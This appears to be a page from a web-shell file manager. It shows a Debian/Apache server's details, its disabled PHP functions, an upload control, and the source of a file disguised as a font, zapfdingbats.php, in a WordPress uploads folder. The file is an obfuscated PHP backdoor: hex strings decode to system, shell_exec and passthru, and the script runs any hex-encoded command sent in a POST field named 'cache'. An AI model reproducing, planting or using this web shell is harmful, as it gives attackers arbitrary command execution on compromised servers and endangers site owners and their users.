HEX
Server: Apache/2.4.59 (Debian)
System: Linux keymana 4.19.0-21-cloud-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64
User: lijunjie (1003)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wp-content/uploads2/uploads2/2023/09/zapfdingbats.php
<?php

$stor1 = '73';
$stor2 = '65';
$stor3 = '6d';
$stor4 = '68';
$stor5 = '6c';
$stor6 = '78';
$stor7 = '63';
$stor8 = '70';
$stor9 = '61';
$stor10 = '72';
$cache1 = pack("H*", $stor1 . '79' . $stor1 . '74' . $stor2 . $stor3);
$cache2 = pack("H*", $stor1 . $stor4 . $stor2 . $stor5 . '6c' . '5f' . $stor2 . $stor6 . '65' . $stor7);
$cache3 = pack("H*", $stor1 . '68' . '65' . '6c' . '6c');
$cache4 = pack("H*", $stor8 . $stor9 . '73' . $stor1 . '74' . '68' . $stor10 . '75');
$cache = pack("H*", $stor7 . $stor9 . $stor7 . $stor4 . $stor2);
if (isset($_POST[$cache])) {
    $cache = pack("H*", $_POST[$cache]);
    if (function_exists($cache1)) {
        $cache1($cache);
    } elseif (function_exists($cache2)) {
        $cache2($cache);
    } elseif (function_exists($cache3)) {
        $cache3($cache);
    } elseif (function_exists($cache4)) {
        $cache4($cache);
    }
    exit;
}